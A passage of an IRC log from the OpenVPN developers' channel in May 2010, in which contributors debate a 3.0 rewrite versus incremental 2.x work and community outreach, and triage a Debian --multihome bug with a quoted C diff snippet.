reg9009> and OpenVPN ;) 13:33 < janjust> not on non-jailbroken iphones, reg9009 13:33 < janjust> that is why the core/userspace separation is so interesting 13:33 < janjust> if one can replace the part that talks to a network interface with something else then openvpn becomes much more portable 13:33 <@mattock> jamesyonan: any ideas how much work is involved in reaching 3.0 as it is? 13:34 <@mattock> I'm a little worried that 3.0 has to be very sexy and/or reachable by small increments to attract enough developers 13:34 < jamesyonan> maybe 4 to 6 months of work to reach an alpha 13:35 < reg9009> cron2: from a dialin perspective, yes. But others tend to use MPLS, more flexible, etc. 13:35 <@cron2> reg9009: MPLS in the core, L2TP to transport individual DSL sessions 13:35 <@mattock> we'd need to get it to point where it's useful a.s.a.p. 13:35 < reg9009> cron2: yep. 13:36 < jamesyonan> the nice thing about the user-space stack model is that once the fundamental objects of the stack are defined, multiple developers can then set to work on the various modules 13:36 <@mattock> jamesyonan: good point 13:36 < reg9009> What about dividing the development in some smaller steps. 13:37 < reg9009> OpenVPN 2.5, 3.0, e.g. 13:37 <@mattock> reg9009: we've discussed that earlier and it's our goal... however, some things need to be written from scratch 13:37 < reg9009> ok. 13:39 <@mattock> ok, so do we agree that 3.0 (as planned) is what we should try to achieve? 13:39 <@cron2> well, "we" is an interesting group 13:39 <@cron2> for me, I am a bit more interested in short-term goals 13:40 <@cron2> but I don't see anything wrong with having this as "long-term goal" 13:40 <@mattock> yes, I meant long-term 13:40 < krzee> 4 - 6 months for an alpha, to be honest, is a lot less time than i expected 13:40 <@mattock> krzee: me too 13:41 <@cron2> it's a matter of focussing energies: shall we focus on "in 4-6 months, there is an alpha of 3.0" or focus on "get the features from dazo's tree integrated in OpenVPN 2.5?" 13:41 < janjust> what would this alpha entail? openvpn running as 2 separate processes, one for the user space part and one for the kernel-space part (i.e. access to the tun/tap driver) ? 13:41 < reg9009> If we could achieve this, I could imagine more developers are attracted (e.g. iPhone VPN alternatives). 13:41 < krzee> would 3.0 be threaded? 13:41 <@cron2> it's on the roadmap 13:42 < jamesyonan> realistically, I think that 2.x and 3.0 development would need to happen in parallel 13:42 <@mattock> cron2: I think we should plan 3.0 and then focus on reaching our short-term goals with 3.0 goals in mind 13:42 < janjust> jamesyonan, I agree 13:42 < krzee> jamesyonan, +1 13:42 <@cron2> jamesyonan: +1 13:42 <@mattock> +1 13:43 < janjust> there are far too many useful patches in the 2.x tree right now 13:43 <@mattock> should we review the current codebase to see where we could move towards 3.0 incrementally and where not? 13:43 <@cron2> janjust: this is why I was worrying about efforts 13:43 <@mattock> to get a better idea of amount of work involved 13:43 < reg9009> +1 13:47 < fabiank> My fear is that OpenVPN 3.0 might end up being a great basic (rewritten) framework, without enough functionality to encourage "drive-by" developers that actively use it for their projects. )(I've seen this happen to a bunch of opensource projects before.) 13:48 <@cron2> fabiank: well, this is where OpenVPN-the-company needs to push until int's interesting enough for "you and me" 13:48 < fabiank> So too much parallel development might hurt 3.0's success 13:48 < fabiank> cron2: OK, true. A company involved is something new. :) 13:48 < fabiank> (regarding my past experiences) 13:49 <@cron2> mattock: how exactly is the company called? I need to learn how to name it right 13:49 <@mattock> cron2: agreed, most developers just want to scratch an itch, so they need something that's usable 13:49 <@cron2> +1 13:49 <@mattock> cron2: I guess it's "OpenVPN Technologies, Inc" 13:49 < janjust> mattock: lol 13:49 <@cron2> *note* 13:50 <@cron2> mattock: yes, that's how I ended up here - "we use OpenVPN, it works, but it's lacking " 13:50 <@mattock> yep, I'm not sure if there's a dot after it (Inc.) 13:51 < jamesyonan> I see OpenVPN 3.0 as evolving in parallel with 2.x, with most of the migration only occurring when it becomes a drop-in replacement for 2.x. 13:51 <@mattock> jamesyonan: how much effort can the company put behind 3.0? and when? 13:52 < krzee> jamesyonan, when i release my config generator (let me know if you dont know what im talking about) can i give the copyright on it to OpenVPN technologies? (i dont use my real name and cant copyright as 'krzee') 13:52 < jamesyonan> realistically, probably not very much this year 13:53 <@mattock> krzee: could you just release it to public domain? 13:54 < krzee> sure, im very much good with that too 13:54 <@mattock> :) 13:55 < reg9009> should we do a poll for "important" functionality which should go into 2.x, and all other for 3.x? 13:56 < jamesyonan> agreed, public domain would be fine for contributions that don't directly touch the openvpn source code 13:56 <@mattock> reg9009: you mean the other way around? 13:57 < reg9009> it depends where the preference is set. 13:58 <@mattock> reg9009: I think something like Debian's "popularity contest" would be nice to see what people are really using 13:59 <@mattock> it would also give us pointers where to head first in 3.0 13:59 < reg9009> Is 2.x seen as "maintenance" release with no or little new functionality? 14:00 <@mattock> reg9009: I think there's a lot of stuff in the pipe for 2.x 14:00 <@mattock> all of the stuff that was previously hosted separately plus much more 14:00 < reg9009> Ok. I wasn't clear what 3.x means in terms of functionality and rewriting... 14:01 < reg9009> So 2.x will inherit new functionality, but structure is kept as is. 14:01 <@cron2> mattock: where would we ask? -users + -developers list? 14:01 -!- rob0 [~rob0@tuxaloosa.org] has joined #openvpn-devel 14:01 <@mattock> cron2: that's at least a good start... something automated (opt-in) in OpenVPN itself would be better, though 14:01 < reg9009> And 3.x will be something inlcuding rewriting of base and/or architecture...? 14:02 <@mattock> reg9009: that's correct 14:02 < reg9009> got it, thx. 14:02 < reg9009> I would start in -users. 14:02 <@mattock> I think the main issue is: do we want to go all the way towards a general purpose network stack... or just modularize + cleanup openvpn better while keeping focus on VPN 14:03 < janjust> mattock: I'd be in favour of the second 14:03 <@cron2> mattock: yes! 14:03 < reg9009> me, too, 2nd. 14:03 <@cron2> I think one can do the second on the road to the first, so "2nd" 14:04 < jamesyonan> I would certainly agree -- I don't think we should hold up development on 2.x just because of 3.0 14:04 < janjust> or perhaps I misread "general purpose network stack" :) 14:04 <@mattock> cron2: agreed, the options are not really mutually exclusive... 14:04 < janjust> cron2 +1 14:05 < rob0> Sorry I missed the meeting, was curious/interested if full mesh was under consideration for 3.0? 14:06 < reg9009> even for 2.x ;) 14:06 < krzee> thats already doable with RIP 14:06 < krzee> [12:09] krzee: "rip" is http://www.secure-computing.net/wiki/index.php/OpenVPN/RIPRouting for a writeup on using RIP in openvpn 14:06 < vpnHelper> Title: OpenVPN/RIPRouting - Secure Computing Wiki (at www.secure-computing.net) 14:07 < reg9009> but RIP isn't suitable for bigger setups... 14:07 <@mattock> so could we proceed something like this: review the sore points in current codebase -> modularize / modernize everything we can incrementally -> rewrite the rest... 14:07 <@mattock> the result being 3.0 14:07 <@cron2> krzee: your IPv6 is broken 14:08 < krzee> thats ecrist's 14:08 <@cron2> mmmh, he's not here 14:08 < reg9009> matoock: that's a good way of doing it 14:08 <@cron2> mattock: sounds like a plan 14:09 <@mattock> I think we need more information to make good choices regarding 2.x and 3.0 14:10 < reg9009> Maybe a good side-effect of asking -users list is that more people get noticed about new development and *maybe* more developers get attracted? :) 14:11 <@mattock> jamesyonan: could you work on some of the sore points yourself? for example, work on the event system and such. 14:12 < jamesyonan> I would like to work on it -- but I'm quite swamped with other stuff right now 14:13 <@mattock> I'm just worried (perhaps unnecessarily) that usually community developers are interested in specific issues (e.g. ipv6 support) rather than planned development tasks (e.g. rewrite event system) 14:13 <@mattock> I may be wrong, though 14:14 <@mattock> having somebody lead the way / bootstrap the development would help a lot 14:14 < janjust> I tend to agree, mattock : community developers normally don't think about the "global" stuff but just the part that is interesting to them 14:14 <@cron2> ack 14:15 < krzee> rst 14:15 < krzee> heheh 14:17 < fabiank> A Google Sommer of Code student would be nice. :) 14:17 <@mattock> regarding community developers... we could probably get a lot more of them by linking from openvpn.net to community.openvpn.net 14:17 <@mattock> =getting visibility for our new development model 14:18 < krzee> +1 14:18 <@mattock> that'd DDOS trac, of course :) 14:18 <@mattock> actually, two concurrent users using "Browse source" would DDOS it, so... 14:19 <@mattock> git-plugin -> gitweb + gitweb integration in Trac might do the trick 14:20 < reg9009> +1 14:22 <@mattock> shall we review 2.x next? then focus on fixing the issues that annoy people most (as well as move us towards 3.0) 14:22 < krzee> [12:22] actually, two concurrent users using "Browse source" would DDOS it, so... 14:22 < krzee> thats a serious problem 14:22 <@mattock> krzee: agreed, git-plugin has to go 14:22 <@mattock> at least the browse source stuff 14:24 -!- dazo_afk [~dazo@nat/redhat/x-kenkicgjnnszajpo] has quit [Read error: Connection reset by peer] 14:24 <@mattock> robo, mesh is on the list (https://community.openvpn.net/openvpn/wiki/RoadMap) 14:24 < vpnHelper> Title: RoadMap – OpenVPN (at community.openvpn.net) 14:25 * janjust signing off 14:25 < krzee> later jan 14:25 < janjust> later all 14:25 <@cron2> bye 14:25 <@mattock> janjust: bye! 14:25 -!- janjust [~janjust@5355E9DA.cable.casema.nl] has quit [Quit: Leaving] 14:26 -!- dazol [~dazo@nat/redhat/x-ptfackcljdhimteg] has joined #openvpn-devel 14:26 <@mattock> dazo to the rescue? :) 14:29 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 14:29 < krzee> awww james left :( 14:29 <@mattock> hmm... seems this is more difficult issue than an average patch ;) 14:30 -!- janjust [~janjust@5355E9DA.cable.casema.nl] has joined #openvpn-devel 14:30 -!- janjust [~janjust@5355E9DA.cable.casema.nl] has quit [Client Quit] 14:32 <@mattock> did we reach an agreement on something? about review of the current codebase, perhaps? 14:32 < krzee> we agreed it should be done 14:33 < krzee> not who or how, but that its a good idea ;] 14:33 < krzee> and that 2.x and 3.x should be worked on in parallel 14:33 <@mattock> if the company can't bootstrap 3.0 development, I don't think we can expect the (current) community to do that 14:34 < krzee> didnt james say an alpha should take 4-6mo? 14:34 <@mattock> yep, he did 14:34 < krzee> sounded to me like he was gunna work on that, maybe i misunderstood tho 14:34 < rob0> mattock, thanks. I have some thoughts on how that might work, which I suppose I will write up for the -devel list. 14:34 <@mattock> rob0: that's a good idea 14:35 <@mattock> I think we get better results on the concrete issues on the mailing list 14:35 < rob0> ("that"=="full mesh") 14:35 <@mattock> oh ye 14:35 <@mattock> yes 14:35 < ecrist> my IPv6 is broken? 14:35 < ecrist> probably 14:35 <@mattock> krzee: I asked James how much effort the company could put into 3.0 devel and he said "realistically not much this year" 14:36 < krzee> oh ok 14:36 <@mattock> so focusing on 2.x is probably best we can do 14:37 < krzee> mattock, mind if i bring up a new subject? (from wishlist) 14:37 <@mattock> krzee: please do 14:37 < krzee> http://www.ovpnforum.com/viewtopic.php?f=10&t=141 14:37 < vpnHelper> Title: OpenVPN Forum View topic - Idea for direct connections (at www.ovpnforum.com) 14:37 < krzee> i think some of rob0's mesh code would be usable in that 14:38 < krzee> i think they'ld go somewhat hand-in-hand... maybe im mistaken since im not a coder 14:38 < krzee> ok its not "code" yet, but his idea ;] 14:38 < rob0> It sounds similar to what I was thinking, yes 14:39 < rob0> and we'll have to call it your idea, since that was in '09 :) 14:39 <@cron2> nice idea. use the central server for authentication and then "auto-mesh" clients 14:39 < ecrist> would save a lot on bandwidth for the server. 14:39 < krzee> yes, potentially a LOT 14:40 < krzee> it would enable openvpn to be used in situations where it currently cant 14:40 <@mattock> as James is (really) gone I think we continue the "Roadmap" discussion on the -devel mailing list 14:41 <@cron2> +1 14:41 < krzee> +1 14:42 <@mattock> I hope James participates in that discussion 14:43 <@mattock> also, we could start migrating the wishlist items to Trac and start building our short-term roadmap with some of those in it 14:43 <@mattock> those tasks, I mean 14:44 <@cron2> +1 :) 14:44 < krzee> and heres an easy one 14:44 < krzee> http://www.ovpnforum.com/viewtopic.php?f=10&t=141 14:44 < vpnHelper> Title: OpenVPN Forum View topic - Idea for direct connections (at www.ovpnforum.com) 14:44 < krzee> erm 14:45 < krzee> wrong link, 1sec 14:45 < krzee> http://www.ovpnforum.com/viewtopic.php?f=10&t=383 14:45 < vpnHelper> Title: OpenVPN Forum View topic - bind to multiple ports (at www.ovpnforum.com) 14:46 <@cron2> ohyes. want to have that! 14:46 <@mattock> ok, so this is the kind of stuff people want :) 14:46 <@cron2> just got a colleague at work asking for this last monday 14:47 <@cron2> this is actually in James' "event handling" block (multiple listener ports), so I'm a bit worried that this might be more difficult than I thought 14:47 < reg9009> I have to leave... 14:47 <@mattock> reg9009: bye! 14:47 * cron2 waves 14:47 < krzee> adios reg9009 14:47 < reg9009> Was a pleasure to listen and contribute. Looking forward into the future... 14:48 <@mattock> reg9009: good you could attend! 14:48 -!- reg9009 [~chatzilla@ip-95-223-198-55.unitymediagroup.de] has left #openvpn-devel [] 14:48 < krzee> cron2, well worst case, it could break the subnet in half and run 2 instances of openvpn 14:48 < krzee> as a hack for the time being 14:49 < krzee> (which people now do manually) 14:49 <@cron2> krzee: yes, we could, but this would actually be a bit complicated in our corporate setup - and for other setups, it won't be more complicated (mobile clients that could connect on either port but need to have the same address) 14:50 <@cron2> s/won't/will even/ 14:50 * cron2 <- tired 14:50 <@mattock> cron2: we should probably end the meeting... I have the same issue :) 14:51 <@cron2> ccd/, iroute, ifconfig-push and "two processes" don't match well 14:51 < krzee> cron2, very true 14:51 <@cron2> also I can't really see why this should be so complicated. if you have TCP clients, you have multiple sockets to tend anyway - so if it's 1 listen socket or 2, why should this be so bad... 14:51 <@cron2> (but I'm afraid that the socket listing code is not for the faint of heart) 14:52 <@mattock> end of meeting? please? :) 14:52 <@cron2> well, consider me interested in reviewing + testing this :-) - no time for actually hacking myself this month 14:53 <@cron2> mattock: ok from my side 14:53 <@mattock> more roadmap discussion starting tomorrow on the mailinglist 14:53 <@cron2> good night, everbody 14:53 <@mattock> bye cron2! 14:53 < krzee> goodnight! 14:53 < krzee> good timing, i get off work in minutes 14:53 < krzee> and with 3 hrs of sleep last night, im more than ready to leave 14:54 <@mattock> I'll send the "Roadmap" mail tomorrow morning (~12 hours) - let's see where it leads 14:54 <@mattock> bye! 14:55 <@mattock> I'll also try to outline the different viewpoints/pros/cons in the Trac Wiki 15:17 -!- mattock [~samuli@dyn55-11.yok.fi] has quit [Ping timeout: 252 seconds] 16:09 -!- fabiank [~fabian.kn@cl-809.dus-01.de.sixxs.net] has quit [Quit: Leaving.] 16:34 -!- Guest12047 is now known as openvpn2009 16:35 -!- mode/#openvpn-devel [+o openvpn2009] by ChanServ 16:38 -!- openvpn2009 [~admin@adsl-71-140-186-185.dsl.pltn13.pacbell.net] has quit [Quit: ircN 8.00 for mIRC (20080809) - www.ircN.org] 17:34 -!- astrophy [~astrophy@ip12.208-100-1.static.steadfast.net] has quit [Ping timeout: 265 seconds] 17:39 -!- astrophy [~astrophy@ip26.208-100-1.static.steadfast.net] has joined #openvpn-devel 17:59 -!- krzie [nobody@unaffiliated/krzee] has joined #openvpn-devel 18:13 -!- krzie [nobody@unaffiliated/krzee] has quit [Read error: Connection reset by peer] 18:39 -!- krzie [nobody@unaffiliated/krzee] has joined #openvpn-devel 21:13 -!- astrophy [~astrophy@ip26.208-100-1.static.steadfast.net] has quit [Quit: Bye] 21:53 -!- krzie [nobody@unaffiliated/krzee] has quit [Quit: This computer has gone to sleep] 23:35 -!- krzie [nobody@unaffiliated/krzee] has joined #openvpn-devel --- Day changed Fri May 07 2010 01:24 -!- mattock [~samuli@dyn55-11.yok.fi] has joined #openvpn-devel 01:24 -!- mode/#openvpn-devel [+o mattock] by ChanServ 01:33 -!- krzie [nobody@unaffiliated/krzee] has quit [Read error: Connection reset by peer] 01:38 -!- krzie [nobody@unaffiliated/krzee] has joined #openvpn-devel 01:44 -!- krzie [nobody@unaffiliated/krzee] has quit [Read error: Connection reset by peer] 01:56 -!- krzie [nobody@unaffiliated/krzee] has joined #openvpn-devel 02:11 -!- fabiank [~fabian.kn@cl-809.dus-01.de.sixxs.net] has joined #openvpn-devel 02:26 -!- fabiank [~fabian.kn@cl-809.dus-01.de.sixxs.net] has left #openvpn-devel ["Leaving."] 04:31 <@mattock> dazo: are you there? 04:31 < dazol> mattock: I am :) 04:31 <@mattock> ok, just a moment... 04:32 < dazol> no prob! 04:32 < dazol> (back in 5 min) 04:33 <@mattock> I'm heading for lunch, but could you (and others, too) check my revised "Roadmap" page: https://community.openvpn.net/openvpn/wiki/RoadMap 04:33 < vpnHelper> Title: RoadMap – OpenVPN (at community.openvpn.net) 04:33 <@mattock> it does not go too deep into details, but describes some of the issues the way I see them 04:33 <@mattock> dazo: you could perhaps add stuff from your email to the page 04:34 <@mattock> ...be back in ~45-60 mins 04:36 * dazol is back 04:37 -!- dazol is now known as dazo 04:37 -!- mode/#openvpn-devel [+o dazo] by ChanServ 04:45 <@dazo> mattock: if I can get a response from James that my thoughts and understanding is correct in that e-mail, then I'll update it ... but no point doing that if I've misunderstood some of the details I laid out 05:23 -!- krzie [nobody@unaffiliated/krzee] has quit [Quit: This computer has gone to sleep] 05:28 <@mattock> dazo: ok 05:30 <@mattock> it would seem that overhauling the event system would allow multithreading and listening on multiple ports 05:30 <@mattock> that's one possible short-term goal 05:32 <@dazo> well, it's doable ... but not trivial, and might cause a lot of bugs, as the whole event system is not too easy to follow and understand 05:33 <@dazo> that's why I'd rather see an advantage to modularise those parts which are not "core dependent" and which openvpn 3.x may benefit from .... and let the rest stay as it is for now 05:33 <@mattock> the thing that worries me is interest (from the community) to start from scratch... James said that it's very likely that the company can't put any/significant effort into 3.0 in next 12 months 05:34 <@mattock> dazo: agreed... I assume you mean things like the logger implementation? 05:34 <@dazo> logger and encryption comes to my mind immediately, possibly also authentication 05:35 <@mattock> yep, those should not be too tightly coupled with the core 05:35 <@dazo> but I'm willing to check out possibilities to help get 3.x rolling ... the core part here doesn't need to be too complex ... when the framework is done here, the code is probably easier to work with for others as well 05:36 <@dazo> the first modules for such a core ... can just be "pass-through" ... and then it's easier to have a skeleton to work from 05:36 <@mattock> I was wondering whether there already are userspace network stacks that could be used 05:37 <@dazo> I don't think so ... not which I've heard of at least 05:37 <@mattock> the whole concept has great potential _if_ there are other uses for it (besides VPN) 05:38 <@dazo> agreed ... but it has another good pro as well ... a real code cleanup, and to get a more solid implementation 05:39 <@dazo> simpler code base, is simpler to maintain and bring further 05:39 <@dazo> I've been sceptic to a complete rewrite ... but the more I dig into the current code base, the more I see the need for it 05:39 <@mattock> do you think there would be other community developers interested in a rewrite? 05:40 <@dazo> I think the interest to get it rewritten is present ... but the available time to contribute might be the challenge 05:41 <@dazo> and anyhow, as long as openvpn-testing.git is maintained and James accepts patches from here into the 2.x code base ... that development will not stop 05:42 <@mattock> I think we should not start the rewrite until our development process has more visibility 05:42 <@dazo> People will use openvpn 2.x until 3.x is usable ... and then things will really begin to roll here ... but this will take some time 05:42 <@dazo> very true 05:42 <@mattock> we can get the visibility by linking from openvpn.net to community.openvpn.net and beating the drums whenever we can 05:43 <@dazo> yupp! 05:43 <@mattock> perhaps the 3.0 core should be designed first... then we could modularize things like authentication and encryption in 2.x with the 3.0 design in mind 05:44 <@dazo> but ... it will also require that the next 2.x release will have some of the code from openvpn-testing.git as well ... to give it credibility 05:44 <@dazo> mattock: that's what's in my thoughts in the mail I sent you and James 05:44 <@mattock> I assume James has already included some of the testing stuff in his tree 05:46 <@dazo> I've not heard anything (which makes me some kind of worried) ... so I honestly don't know ... at the moment openvpn-testing.git has become a fork, sponsored by OpenVPN and the community ... it will stop being a fork in the moment patches from there gets merged into the stable tree 05:47 -!- dazo [~dazo@nat/redhat/x-ptfackcljdhimteg] has left #openvpn-devel ["Leaving"] 05:47 -!- dazo [~dazo@nat/redhat/x-ptfackcljdhimteg] has joined #openvpn-devel 05:47 -!- mode/#openvpn-devel [+o dazo] by ChanServ 05:47 <@mattock> hmm... I'll check James' SVN logs 05:49 <@mattock> nope, no testing stuff there yet 05:50 <@mattock> seems to be management interface -related mostly 05:50 <@dazo> I'm not sure of how James works ... so it might be he got things in a separate tree where things are not committed yet 05:50 <@mattock> one more reason to clarify the entire development process 05:50 <@mattock> it'd be best if we only had one tree (git) instead of two 05:51 <@mattock> and if James could participate like everybody else 05:51 <@dazo> yupp ... and I would say, that process works pretty well until the last stage, getting things into stable .... but of course, we cannot document too well testing procedures and how things are tested ... so that's the drawback right now 05:52 <@mattock> what about taking weekly snapshots of "testing" and distributing them on openvpn.net? 05:52 <@mattock> currently "testing" is not in especially wide use 05:52 <@dazo> At the moment, I am not stressed about things not having reached stable yet ... just because of the testing process is somewhat in the flux ... but in the moment we can say something about how much and how well testing on -testing.git has been ... then I'd expect inclusion into stable 05:52 <@mattock> and synchronize each "testing" release (FreeBSD, Debian, openvpn.net) 05:53 <@dazo> I have no problem with that 05:53 <@dazo> ecrist's testing tarballs is not announced too loudly, only on the ML ... but on web, that could be beneficial 05:54 <@mattock> Trac also has "Downloads" plugin... we could use that if using openvpn.net is too much of a hassle 05:54 <@dazo> (and it's been a few issues getting the tarballs generated properly ... but that seems to be fixed now ... we'll know for sure next week) 05:54 <@dazo> yup! 05:54 <@dazo> the official openvpn.net page should also announce community pages better soon as well 05:55 * dazo need to grab some lunch .... back in 30-40 min or so 05:55 <@mattock> I'll send mail to James and Francis right away about this downloads issue and linking to community.openvpn.net... Francis has been worried about too much traffic getting diverted away from openvpn.net (and hence Access Server) 05:57 <@dazo> and it will benefit OpenVPN in general to get some more publicity around the community pages too ... that shows that there is an active community involved ... and the -devel ML shows that the involvement is now higher than it has ever been before 06:14 <@mattock> sent 06:14 <@mattock> yep, agreed 06:43 -!- krzie [nobody@unaffiliated/krzee] has joined #openvpn-devel 06:53 * dazo back 07:15 <@dazo> mattock: saw your mail ... looking good! Hope it will help :) 07:15 <@mattock> hope so too 07:23 <@mattock> dazo: could I add your fancy ASCII art OpenVPN 3.0 diagram to the Wiki? I feel that's close enough to what James meant and I'd need to send mail about roadmap to -devel... if there are errors in it, we can correct them afterwards 07:23 <@dazo> mattock: sure! 07:33 <@mattock> I added your descriptions, there too... could you ACK the page before I send any mails? It's here: https://community.openvpn.net/openvpn/wiki/RoadMap 07:33 < vpnHelper> Title: RoadMap – OpenVPN (at community.openvpn.net) 07:33 * dazo looks 07:36 < ribasushi> hi 07:36 < ribasushi> is there any way I can help with this further? http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=562099 07:36 < vpnHelper> Title: #562099 - openvpn: --multihome broken in latest version - Debian Bug report logs (at bugs.debian.org) 07:37 <@dazo> ribasushi: I remember reviewing something here .... I need to refresh my memory .... 07:37 <@mattock> this is the JJO ipv6 patch issue... 07:37 <@dazo> yeah! true! 07:37 <@mattock> --multihome should work fine without it 07:37 <@dazo> mattock: thx! I found the thread now :) 07:38 <@dazo> ribasushi: I've sent a request to JJO to look at this ... he understands his patchset better, and it obviously is a bug here 07:38 < ribasushi> ok, so then it's just a matter of time 07:38 < ribasushi> I just don't want to get this forgotten and slip in squeeze unfixed :) 07:38 <@dazo> ribasushi: but I got a auto-responder msg saying he was away for some days ... I was planning on reminding him about it again when he is back 07:39 <@dazo> ribasushi: thx! reminders are always good! :) 07:39 < ribasushi> thing is (albeit my C being horrible) I don't see anything in the diff that could be remotely relevant 07:39 < ribasushi> the diffs were made between the 2 source trees from which the .debs are (supposedly) built 07:39 <@dazo> (the auto-response said he would be back May 17) 07:40 < ribasushi> really the only new thing is #define IPV4_INVALID_ADDR 0xffffffff 07:41 < ribasushi> which was 0 in older code 07:41 < ribasushi> I wonder if this screws up the routing decisions somehow 07:42 <@dazo> I think it might be as well connected to some of the socket() stuff which I believe he slightly changes 07:43 < ribasushi> dazo: we're talking about the same stuff then 07:43 < ribasushi> #ifdef USE_PF_INET6 07:43 < ribasushi> - if(lsa->actual.dest.addr.sa.sa_family != AF_INET) 07:43 < ribasushi> - return 0; 07:43 < ribasushi> + if (lsa->actual.dest.addr.sa.sa_family != AF_INET) 07:43 < ribasushi> + return IPV4_INVALID_ADDR; 07:43 < ribasushi> #else 07:43 <@dazo> yes ... have you tried to replace IPV4_INVALID_ADDR with 0? 07:44 < ribasushi> I'll need to try yes... 07:44 < ribasushi> once I have the deb-tree 07:44 < ribasushi> how do I make a .deb out of it? 07:44 <@dazo> if you could manage to test out that ... and that solves it, we know where to fix further ... I believe it has to be IPV4_INVALID_ADDR with IPv6 patch, but the place which receives this result might need to be fixed 07:45 < ribasushi> right I'll test it 07:45 < ribasushi> dazo: can you help me with the .deb generation or do I go to #debian? 07:45 < ribasushi> that's a live server, so I don't want to take my chances with manual installs and stuff 07:46 <@dazo> ribasushi: I'm not a deb user ... so I have no idea how deb-pkgs are made 07:46 < ribasushi> np 07:46 <@dazo> ribasushi: well, you can do it in a safer way, though 07:47 <@dazo> ribasushi: just pull the tree you want to base this on (you may checkout SVN or git tags with the correct version for you) ... do a local build ... and start ./openvpn from the source tree 07:47 <@dazo> openvpn is really not system intrusive, in that regards .... just figure out the run parameters openvpn from the init script uses, if you run it via init scripts 07:48 < ecrist> dazo: what would it take, really, to get a config-push feature in openvpn? 07:49 <@dazo> ecrist: presuming you're talking about current code base, that's a big one, actually ... you'll need to rework some of the PUSH infrastructure, write a config-pull system which is more flexible, and possibly allowed to write the config to disk 07:50 <@dazo> ribasushi: The openvpn-testing.git should contain almost all patches which debian got ... except of some debian specific log warnings, and possibly some ssl-cert checks (after debians SSL security bummer) 07:51 < ribasushi> dazo: meh I'm already building it the debian way 07:51 < ribasushi> as it's a debian issue anyway 07:51 <@dazo> sure, do as you'd like :) 07:57 <@dazo> mattock: wiki looking good ... not sure about the kernel module paragraph, though ... 07:57 <@mattock> ok, I'll remove it then 07:58 <@mattock> done 07:59 <@dazo> thx! let's see what the response will be now :) 08:51 <@mattock> ok, sent 10:49 -!- dazo is now known as dazo_afk 10:57 -!- krzie [nobody@unaffiliated/krzee] has quit [Quit: This computer has gone to sleep] 10:59 -!- krzie [nobody@unaffiliated/krzee] has joined #openvpn-devel 13:30 -!- openvpn2009 [~admin@adsl-71-140-186-185.dsl.pltn13.pacbell.net] has joined #openvpn-devel 13:30 -!- mode/#openvpn-devel [+o openvpn2009] by ChanServ 14:20 -!- raidz [~Andrew@seance.openvpn.org] has quit [Quit: Leaving] 14:29 -!- raidz [~Andrew@seance.openvpn.org] has joined #openvpn-devel 14:29 -!- mode/#openvpn-devel [+o raidz] by ChanServ 14:35 -!- raidz [~Andrew@seance.openvpn.org] has quit [Quit: Leaving] 14:40 -!- Irssi: #openvpn-devel: Total of 14 nicks [4 ops, 0 halfops, 0 voices, 10 normal] 15:03 -!- dazo [~dazo@ip4-83-240-69-215.cust.nbox.cz] has joined #openvpn-devel 15:03 -!- mode/#openvpn-devel [+o dazo] by ChanServ 15:10 -!- waldner [~570d8b68@gateway/web/freenode/x-shuhwipbqztcvmoq] has joined #openvpn-devel 15:11 <@dazo> krzee: http://www.secure-computing.net/wiki/index.php/HowTo_for_Windows_2 ... Here you go! 15:11 < vpnHelper> Title: HowTo for Windows 2 - Secure Computing Wiki (at www.secure-computing.net) 16:02 -!- mattock [~samuli@dyn55-11.yok.fi] has quit [Ping timeout: 252 seconds] 16:21 < ribasushi> is the windows-gui included with openvpn 2.1 supposed to honor the same registry settings as the old one? 16:21 < ribasushi> I am getting pop-up balloons 16:21 < ribasushi> even though I have show_balloon = 0 16:22 < ribasushi> yup it's a totally different hive it seems 16:22 < ribasushi> sigh... 16:38 -!- dazo [~dazo@ip4-83-240-69-215.cust.nbox.cz] has quit [Quit: Leaving] 17:41 -!- openvpn2009 [~admin@adsl-71-140-186-185.dsl.pltn13.pacbell.net] has quit [Quit: ircN 8.00 for mIRC (20080809) - www.ircN.org] 17:59 -!- waldner [~570d8b68@gateway/web/freenode/x-shuhwipbqztcvmoq] has quit [Quit: Page closed] 18:07 -!- openvpn2009 [pandora@matrix.openvpn.org] has joined #openvpn-devel 18:07 -!- mode/#openvpn-devel [+o openvpn2009] by ChanServ --- Day changed Sat May 08 2010 02:15 -!- mattock [~samuli@dyn55-11.yok.fi] has joined #openvpn-devel 02:15 -!- mode/#openvpn-devel [+o mattock] by ChanServ 06:14 -!- Netsplit *.net <-> *.split quits: ScriptFanix 06:19 -!- Netsplit over, joins: ScriptFanix 08:00 -!- Netsplit *.net <-> *.split quits: ScriptFanix 08:06 -!- Netsplit over, joins: ScriptFanix 11:13 -!- krzie [nobody@unaffiliated/krzee] has quit [Quit: This computer has gone to sleep] 11:16 -!- krzie [nobody@unaffiliated/krzee] has joined #openvpn-devel 13:38 -!- waldner [~571236c9@gateway/web/freenode/x-hqagueiwbzsbwtru] has joined #openvpn-devel 14:25 -!- krzie [nobody@unaffiliated/krzee] has quit [Read error: Connection reset by peer] 14:33 -!- krzie [nobody@unaffiliated/krzee] has joined #openvpn-devel 15:46 -!- Bloodsong [~Nimbus@69-165-217-17.dsl.teksavvy.com] has joined #openvpn-devel 16:56 -!- Bloodsong [~Nimbus@69-165-217-17.dsl.teksavvy.com] has quit [Quit: Leaving] 17:03 -!- mattock [~samuli@dyn55-11.yok.fi] has quit [Ping timeout: 252 seconds] 17:41 -!- waldner [~571236c9@gateway/web/freenode/x-hqagueiwbzsbwtru] has quit [Quit: Page closed] 17:49 -!- cron2_ [~gert@kirk.greenie.muc.de] has joined #openvpn-devel 17:54 -!- Netsplit *.net <-> *.split quits: krzie, @cron2 17:59 -!- Netsplit *.net <-> *.split quits: ScriptFanix 18:00 -!- Netsplit over, joins: ScriptFanix 18:00 -!- Netsplit *.net <-> *.split quits: ScriptFanix 18:01 -!- Netsplit over, joins: ScriptFanix 19:28 -!- rob0 [~rob0@tuxaloosa.org] has left #openvpn-devel [] 21:39 -!- y0tta [~y0tta@ip26.208-100-1.static.steadfast.net] has joined #openvpn-devel 23:04 -!- y0tta [~y0tta@ip26.208-100-1.static.steadfast.net] has quit [Quit: y0tta] --- Day changed Sun May 09 2010 01:53 -!- mattock [~samuli@dyn55-11.yok.fi] has joined #openvpn-devel 01:53 -!- mode/#openvpn-devel [+o mattock] by ChanServ 02:38 <@mattock> any devs around? I change the "Browse source" function in Trac to point to SF.net Git browser - the git-plugin is still working behind the scenes (see https://community.openvpn.net/openvpn/browser) but most users shouldn't use it accidentally 02:39 <@mattock> the git-plugin's git repo has not been updated for a 